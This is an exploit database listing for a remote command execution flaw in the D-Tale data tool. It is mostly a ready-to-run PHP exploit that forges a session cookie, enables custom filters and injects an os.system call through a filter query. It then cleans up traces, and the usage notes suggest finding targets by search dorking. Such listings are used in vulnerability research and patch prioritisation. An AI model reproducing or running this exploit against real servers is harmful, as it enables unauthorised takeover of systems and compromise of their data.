Lucene search
K

D Tale 3.10.0 Remote Command Execution

🗓️ 07 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 632 Views

D Tale v3.10.0 has a PHP code execution vulnerability allowing remote command execution attacks.

Related
Code
=============================================================================================================================================
    | # Title     : D Tale v3.10.0 PHP code execution vulnerability                                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://pypi.org/project/dtale/                                                                                             |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Exploiting D-Tale Remote Command Execution Vulnerability Using PHP
    
       (Related : https://packetstorm.news/files/id/189509/ Linked CVE numbers:	CVE-2024-3408, CVE-2025-0655  ) .
    	
    [+] save code as poc.php.
    
    [+] Set Target = line 102
    
    [+] Usage = php poc.php
    
    [+] PayLoad :
    
    <?php
    class D_Tale_RCE_Exploit {
    
        private $session = 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoid2hhdGV2ZXIifQ.Z8Jdmw.zUb6b2uEm9ZDKWIOsw2A1xLIuLc';
        private $target_url;
        private $data_id;
        private $payload;
    
        public function __construct($target_url, $payload) {
            $this->target_url = $target_url;
            $this->payload = $payload;
        }
    
        // Function to send GET requests
        private function send_get_request($uri, $headers = []) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $this->target_url . $uri);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        // Function to send POST requests
        private function send_post_request($uri, $data, $headers = []) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $this->target_url . $uri);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }
    
        // Check for vulnerable version
        public function check_vulnerability() {
            $headers = ['Cookie: session=' . $this->session];
            $response = $this->send_get_request('/dtale/popup/upload', $headers);
            
            if (strpos($response, 'version') !== false) {
                preg_match('/<input type="hidden" id="version" value="(.*?)">/', $response, $matches);
                if (isset($matches[1]) && version_compare($matches[1], '3.15.1', '<=')) {
                    return true;
                }
            }
            return false;
        }
    
        // Exploit the vulnerability
        public function exploit() {
            // Step 1: Upload a CSV file to trigger the exploit
            $mime_boundary = "---------------------------" . rand();
            $data = "--$mime_boundary\r\n";
            $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"payload.csv\"\r\n";
            $data .= "Content-Type: text/csv\r\n\r\n";
            $data .= "payload_data\r\n";
            $data .= "--$mime_boundary--\r\n";
    
            $headers = [
                'Content-Type: multipart/form-data; boundary=' . $mime_boundary,
                'Cookie: session=' . $this->session
            ];
    
            $response = $this->send_post_request('/dtale/upload', $data, $headers);
            
            preg_match('/"data_id":"(.*?)"/', $response, $matches);
            if (isset($matches[1])) {
                $this->data_id = $matches[1];
                echo "Data ID: " . $this->data_id . "\n";
            } else {
                echo "Failed to get data ID.\n";
                return;
            }
    
            // Step 2: Enable custom filters
            $settings = json_encode(['enable_custom_filters' => true]);
            $this->send_get_request("/dtale/update-settings/{$this->data_id}?settings=" . urlencode($settings), $headers);
            
            // Step 3: Execute the payload via custom filter
            $query = "@pd.core.frame.com.builtins.__import__('os').system('" . $this->payload . "')";
            $this->send_get_request("/dtale/test-filter/{$this->data_id}?query=" . urlencode($query) . "&save=true", $headers);
    
            echo "Payload executed successfully.\n";
        }
    
        // Cleanup after exploit
        public function cleanup() {
            if ($this->data_id) {
                $headers = ['Cookie: session=' . $this->session];
                $this->send_get_request("/dtale/cleanup-datasets?dataIds={$this->data_id}", $headers);
                echo "Cleaned up the dataset.\n";
            }
        }
    }
    
    // Usage
    $target_url = 'http://target.site.com';
    $payload = 'id'; // Example payload
    
    $exploit = new D_Tale_RCE_Exploit($target_url, $payload);
    
    if ($exploit->check_vulnerability()) {
        echo "Vulnerable version detected. Exploiting...\n";
        $exploit->exploit();
        $exploit->cleanup();
    } else {
        echo "Target is not vulnerable.\n";
    }
    ?>
    
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Mar 2025 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 39.8
EPSS0.77951
SSVC
632